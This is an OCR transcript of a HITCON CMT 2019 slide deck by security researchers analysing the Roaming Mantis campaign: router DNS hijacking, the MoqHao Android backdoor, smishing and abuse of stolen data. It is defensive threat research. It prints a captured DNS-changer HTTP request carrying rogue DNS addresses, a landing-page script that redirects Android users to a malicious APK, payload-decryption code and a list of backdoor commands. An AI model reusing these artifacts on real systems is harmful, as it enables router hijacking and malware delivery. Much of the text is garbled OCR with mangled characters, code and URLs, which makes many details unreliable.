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What is Roaming Mantis




What is Roaming Mantis?
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Cyber criminal campaign
Compromised routers
Targeted multi platform and
multiple language

Started since early 2018



What is Roaming Mantis?

Compromised router

Roaming

Bugdroid’s color
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Roaming Mantis aka 4>z (Shaoye)

- 57 RHMEHFEEG: [DmIER) WigiEN ! £XEEZEEEEFE (2018/06/07)

* https://www.youtube.com/watch?v=NEVMxhXG2IE

- TWNCERT: Shaoye Botnet Affecting Network Devices in Asia-Pacific (2018/06/14)
®* https://www.nccst.nat.gov.tw/NewsRSSDetail?lang=en&RSSType=news&seq=16111

- -—— — -—:  3 CoRARR SRR .TWNCERTsa S:
FRRFRSmAE = Y

S < . At least 6,000 mobile devices are
1 infected with malicious apps, leaking

B Wy = | e || more than 1 million pieces of personal
e W == & - information.
- — e * The infection spreads to 55 countries in
—— :;-_".'_" Se——— L C L the world and South Korea being the

s “'_Z-«"‘ P = =4 main target has a victim rate of 75%.
EBC =

"’J‘ﬂﬁﬂﬁ"ﬁﬁéﬂiﬁﬁﬁfﬂﬁlﬁ—


https://www.youtube.com/watch?v=NEVMxhXG2lE
https://www.nccst.nat.gov.tw/NewsRSSDetail?lang=en&RSSType=news&seq=16111
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Setup Wizard

WAN LAN WLAN

ICEFY .
MEdotas v T Operation Mode: ~ Gateway Host Name: Wireless Network
MAC F= \ .'- Connection Type: DHCP (Auto Config) IP Address: Network Name:

Connection Status: Connected Netmask: Channel

Advanced
0|C{Lt ZEMEY IP Address: MAC Address: Security Mode:
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e /}’ , Default Gateway Online Hosts: Stations

Primary DNS: 1.53.252.215
Syslog Secondary DNS 1.63.252.164
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DEK Online Refresh

HITCON CMT 2019




Rogue DNS servers

A B C D
Primary 1.53.252.215 171.244.3.110 118.30.28.38 42.112.35.45
(Vietnam) (Vietnam) (China) (Vietnam)
Secondary 1.53.252.164 171.244.3.111 118.30.28.39 42.112.35.55
(Vietnam) (Vietnam) (China) (Vietnam)
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Korea is the first priority target

168.126.63.1/203.248.252.2(219.250.36.130
171.244.3.110{119
171.2443.111{116 |

168.126.63.1 (Korea Telecom / Korea)
203.248.252.2 (LG DACOM Corporation / Korea)
219.250.36.130 (SK Broadband Co Ltd / Korea)

Note: they are legitimate DNS servers in Korea
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DNS changer

»  May 17th 2019, 12:53:06.251 205.209.174.238 "POST http:// ‘dnsconfig.html HTTP/1.1" 70@

»  May 17th 2019, 12:53:05.814 205.209.174.238 "GET http:// " HTTP/1.1" 20@

POST http:// /dnsconfig.html
Accept-Language: zh-cn

Accept: */*

Connection: close

Content-Length: 80

Content-Type: application/x-www-form-urlencoded; Charset=UTF-8

Host:

Referer: http://

User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0

Version: HTTP/1.1
check_fix_dns=on&DNS_FST=171.244.3.110&DNS_SND=171.244.3.111&ACTION=5C0%FA%CO%ES

. My handmade honeypot (which impersonates a Korean router) observed a DNS
changer payload via 205.209.174.238.
- Roaming Mantis DNS changer takes 2 steps.
1. Taking a fingerprint of a target.
2. Sending an attack payload based on the fingerprint.

HITCON CMT 2019
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JS DNS changer

The router’s DNS setting is potentially compromised if the device reads the URL query
of the DNS changer from localnet under a router with the following conditions:

No authentication for router panel from localnet
The device has an admin session for the router panel
Simple ID and password (or default) for router panel like admin:admin / user:user

HITCON CMT 2019 14



KSN data for detection of rogue DNS (1 — 19 Aug 2019)

98,000+ detections based on KSN data.

Russia
India
Viethnam
Bangladesh
Japan
Kazakhstan
Indonesia
Pakistan
LENEDR

10. lran
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Landing page

o3 . I 3 930 o.dnmi11:05

securelist.com

var dict = {
zh: [
'WR&Facebooki BT ROEATLE, LBEHRGE. ',
'APP StoreWBHETLRE, AEHBR'], ¢
zh2: ['#T&Facebooki®BE T ROUEHE LY, LREHREE. ',

securelist.com says: 'Apple Storeﬁﬁﬁﬁﬁﬁ‘#, %iﬁgl'], Yoot
To better experlence the browsing, update ja: ['FacebookiiskY—IL) (v JEBNTREHRUEAREHZR LLET. ',
10 the ltest chrome version. ‘AP StoreZ > NIRSRENSBOT. BEDJASUTI AL, '], /B2

ko: ['HO|A% E20r2Hg 9 A2 |EoP7Ifel LXAStAIZHEULD. Y,
'APP StoreAR2 HIFY HEj0]7] R0 CHA] 212514Q. "],
en: ['To better experience the browsing, update to the latest Facebook version.',
‘The APP store account has a security exception, please log in again.'],
ar: [' gup oy Lp culd 2y Facebook 4w o sl ao Do 4, A s ddsady o ) gy
R s gl duss Al Gl 0 el A sy gl 5 B4 N A e

"o 3 g4l Js A APP Store wa s did dnus i) 2],




Using Taiwanese hosts as landing pages

HITCON CMT 2019

HiNet:

 1.171.153.177,1.171.154.9,
1.171.156.75

* 1.171.158.91, 1.171.169.160,
1.171.169.201

 1.171.171.34,1.171.174.228,
1.171.175.167

* Etc.
SEEDNET:
e 175.181.255.52
e 112.104.27.225,112.104.26.33
* Etc.
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Targeted multi-platform

?ﬂl&? Malicious APK file(MogHao)

/coinhive.min.js\ '=<

(% "MbGzU1 IbIEPBOXETUUCK
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Accessing a landing page with iOS

tw.yahoo.com says

# T REApple Store KRS, EHRF BRG], FEEHRE.
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Accessing a landing page with Android

tw.yahoo.com says

AEFERIAEUR, FEHNIFRFchromehR,

-y
Infection with an Android malware MoqHao
HITCON CMT 2019 (chromel.0.7.apk)
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S file moghao.apky \ :,

MoqgHao and SMShing



MoqHao via SMShing

- MoqgHao (alias: Shaoye and XLoader) is spreading via SMShing which
impersonates Japanese logistics brands in Japan.

ottt = (R J

o

o

(source: https://asia.nikei.cm/Business/Japan—é—Sagawa—chasing-drivers-with-4—day—workweek
https://asia.nikkei.com/Business/Yamato-Transport-No.-1-in-Japan-brand-survey)
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Spreading chain

- An infected Android device sends a SMS with a bit.ly link.
. The bit.ly link is a link to a Tumblr blog.
. The Tumblr blog redirects a user to a landing page.

| < g

http://bibijiggg.tumblr.com/

RERERICAAMOBREIT CHH
DEUIEAREDBESLRDEL

fco TRRED SHEFRSEES LN,
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Phishing website in Japan

Zhhs SAGAWA,

AppleDIARTHDH—ERT

ERIS7HhIV T,

HITCON CMT 2019 24
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In July 2019, new target is ...

wen
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(source: https://www.motive.com.tw/?p=18207)
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BIHER(F is targeted in Taiwan

- Since early July 2019, MogHao SMShing is started targeting
EHE 2 E in Taiwan.

.......

,msw;i OB LotsEs === bhhn o _ —
(source: https:/iwww.youtube.com/watch?v=0QKrDFua7Dc) x
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BIHE 2 {F landing page

= = 1z - :2;uin {WQ.lgB‘OI.L_EIthIt, app = navigator.appVersion;
trident: u.index0f({'Trident') = -1,
presto: u.indexO0f('Presto') = -1,
webKit: u.indexOf('AppleWebKit') = -1,
gecko: u.indexOf('Gecko') > -1 && u.indexDf( 'KHTML') == -
mobile: !l!u.match(/AppleWebKit.*Mobile.*/),
tos: Mu.match(/N(1[™;]+;( U;)? CPU.+Mac 0S X/),
android: u.indexOf('Android') > -1 || u.indexOf('Linux') = -1,
1Phone: u.i1ndexOf('i1Phone') > -
1Pad: u.indexOf('i1Pad') = -1,

7 & RS F M4
SERVICE SENDING

2

]

¥
),

language: (navigator.browserLanguage || navigator.language).tolLowerCase()

};

1f (browser.versions.los || browser.versions.i1Phone || browser.versions.1Pad) {
window.alert("&T {F:&Apple Store BIERER , BOBRRHIRH, REENTTEE.");
window.location.href="http://securitygwg-apple.top’
} else if (browser.versions.android) {
window.location.href = "smartcat.apk";

} else {

HITCON CMT 2019



AppIdIDV .

EETAApplelRE

BETApple DRE®/?

BN S EARApplefIFi
HIRE
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Android malware MoqHao (smartcat.apk)

MogHao contains encrypted payload executed by loader module:

ik Contained files

This file is a compressed stream containing 10 files.
t] classes.dex DEX 10740 Bytes
] AndroidManifest.xml XML 11036 Bytes
t] META-INF/CERT.SF LIFIk o 632 Bytes
WETA-INF/MANIFEST.MF Lk nown 539 Bytes

ice_admin.xml 472 Bytes

35 00 db a4 55 la c5 dex.835...U..+4a.
e a6 Bf hf 33 76 be : =.UbN....3v.v.]
e0Payload is Moghao
09 08 p6 14 0B B0 7O
B0 00 a6 05 00 00 BcC




Android malware MoqHao

!ﬁ'l MoqgHao payload module is a backdoor.

20th backdoor commands

sendSms
setWifi

gcont

lock

bc
setForward
getForward
hasPkg
setRingerMode
setRecEnable
reqState

HITCON CMT 2019

W 0 N O Uk WD R

[
= O

12.
13.
14.
15.
16.
17.
18.

showHome
getnpki

http
onRecordAction
call

get_apps
show fs float_
window

Ping
getPhoneState

4,000+ stolen info
TE 0% T8 8T 40 BE Eu wE
- |IP
- Language
- ID (email)
- Password
« Name
- Address
« Credit card info
- Tow factor auth
- Bankinfo
- Etc...



Improving crypto algorithm of loader module

Baseb4

HITCON CMT 2019

i

2018 April

¥classes.dex loader module
¥assets¥bin encrypted payload (-> .dex)
...others
#!/usr/bin/env python
2018 Apr
Import sys
import zlib .
: Skip 4byt
import base64 'p Abytes
+
data = open(sys.argv[1], "rb").read() Zlib
dec_z = zlib.decompress(data[4:]) +
dec_b = base64.b64decode(dec_z)
Base64

with open(sys.argv[1]+".dec","wb") as fp:
fp.write(dec_b)
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Wrong design (vulnerability?) in old versions

Read email subject and decrypt real C2 destination

2 BRER{F s
it . .sda asdqwewq
$ iR BB ¢ > abod S {8 £ 0 03 0 % 2 00 0 O 3 o 45 60 1 O e
|| » l : ' ' .

If someone send O i @
a Email to there...? ° @
Real C2 Sinkhole? Other actor?

HITCON CMT 2019 32



Fixed wrong design in 2019

Crypto Algorithm
Feb 2019 Mar 2019 Apr 2019

#!/usr/bin/env python
Base64.urlsafe + DES (CBC)

from Crypto.Cipher import DES Q Search

import sys
@ import base64

—l enc = base64.urlsafe_b64decode(sys.argv[1])
FlXEd key = b"Ab5d1Q32" Hide full information

August 18,1988

des = DES.new(key,2,key)
dec = des.decrypt(enc)
print(dec)

Real C2 of Roaming Mantis

HITCON CMT 2019 33
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Attribution




The goal of the attacker

Of course...
Get the money!
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Creating account from stolen information

Get the compromised device’s telephone number

Create

Y gccounts with

ﬂcompromised
devices’s

a

Telephone
Number

: w»>dSend device information
EC sites === Include device’s telephone
payment " number after infected MogHao
service l

SMS message send to = @
Compromised device SCEINYE
with authentication code messages and

send these to

Carrier _ the C2
Billing

Get authentication code from a stolen SMS

C2 Server
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Stealing authentication code

EC Sites/Payment Service SMS

nmﬁ%’i 0761

TR Ealy, %s@ﬁw%@
30939, REEE5:5491

CDOESZY3 Yy E—XDEHET

ABLTLES L,

B DEMERIFI0DTT

e S 162832|C DE S = /\
YRNILOBETCAALTLES
W BEFDOBWHARIEIN T,
XK DE=S T I AICEZ

WL fea

Carrier Billing

V7 MY I DOFIRRKYICARL
T iTunes & App Store M ZHA LY

D 7RFICT BIClE. d—
EALT < Ealy

VI RNV I FEDTHILWSF
FB#R% (iTunes/App Store)

https://matomete-
i.softbank.ne.jp/

EEYIBDIcH. BERDETE
O CEKNEEE TV TRV
FEHTXEILN OFBREREZ
iTunes K K. [ICBRIBHEWZULE
3—0
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Abusing stolen information

: B IQRT ' IR
LFI0:48 IHZAZ 5 —#& iTunes Store
RIERFE(IIR > FTHER
 RXHE
§ﬁ337c?1 PR (AR EEUX
HY - RN icEH -
nﬁ@g

IIB)\AppIe ID{f‘ §
86 - B !

BREIKE FEREGE

nttp:// _ n
l& o , MENBPIEY » BEM
6t4965.tumblr.com, I)25 8 — % iTunes Store
WIEIREB(IRR > TR

} » Q%ﬁ

EE:.

Source: https://www.setn.com/News.aspx?NewsID=577291



Money earning and money laundering technique

£

EC sites
payment
service

Carrier
Billing

Shopping
with
Stolen credit
card

StoIenLcredJit card

Buy iTunes
card with
payment

service

By money launderer (Money mule phase)

Nikkei 2019/6/6

/ ENREEZERDFEMTITVEA A R=ILL

Yahoo! s1EE % 2018/8/3 39



How to recruit a money Launderer

iphoneBEFELODABHEEHYFET,

F— LT AT LRITEAT AT CTHRENE SV !
ERIT—UhMYEEA,

LINE:nakai1 110

A—Jl :toaha197001@yahoo.cojp

[+ @Mzl MmED]

M 2018/06/03 1545 | =HhL2

Fot-b B A TE TSN 15 B HE I
REQH AL REM T TECMTOTHES

Fofz @l )3 hiL)]

“If you have an
iPhone, there is a job.
Get rewards just by
purchasing a game
item!

No cost at all.”
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Conclusions




Conclusions
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Example of 1oCs
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Malicious smartcat.apk Type A (MoqHao/XLoader) and its modules
c2dea0e63bd58062824fd960c6ff5d10 APK file

720c9528f2bb436fa3ca2196af718332 APK file
11ab174bfldbac0418a14853bae5flae ¥classes.dex
95a3a090211fd06bbd2d2c310d0742371 ¥classes.dex

710b672224653ad7e31bd081031928b4 Decrypted payload(.dex)
7d41ef4c8e39d4dd8ca937d23521254a Decrypted payload(.dex)

Suspicious hardcoded accounts

id538254835 m.vk.com
id538255725 m.vk.com
id538256404 m.vk.com

09261074305103529133 blogger.com
17996104865618190962 blogger.com
00569308955552776429 blogger.com 43
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Roaming Mantis, part IV

By GReAT on April 3, 2019. 4:30 pm

One year has passed since we published the first blogpost about the Roaming Mantis campaign
on securelist.com, and this February we detected new activities by the group. This blogpost is

follow up on our earlier reporting about the group with updates on their tools and tactics.

Mobile config for Apple phishing

HITCON CMT 2019

https://blog.trendmicro.com/trendlabs-
security-intelligence/a-look-into-the-
connection-between-xloader-and-fakespy-
and-their-possible-ties-with-the-yanbian-
gang/
https://securelist.com/roaming-mantis-
uses-dns-hijacking-to-infect-android-
smartphones/85178/
https://securelist.com/roaming-mantis-
dabbles-in-mining-and-phishing-
multilingually/85607/
https://securelist.com/roaming-mantis-
part-3/88071/
https://securelist.com/roaming-mantis-
part-iv/90332/
https://securingtomorrow.mcafee.com/
other-blogs/mcafee-labs/moghao-
related-android-spyware-targeting-
iapan-and-korea—found-on-qooqle-lol%v/



https://securelist.com/roaming-mantis-uses-dns-hijacking-to-infect-android-smartphones/85178/
https://securelist.com/roaming-mantis-dabbles-in-mining-and-phishing-multilingually/85607/
https://securelist.com/roaming-mantis-part-3/88071/
https://securelist.com/roaming-mantis-part-iv/90332/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/moqhao-related-android-spyware-targeting-japan-and-korea-found-on-google-play/

Let’s Talk?

Suguru Ishimaru Manabu Niseki
GReAT APAC NTT-CERT
Kaspersky Lab NTT SC Labs

Hiroaki Ogawa

Professional Service
McAfee




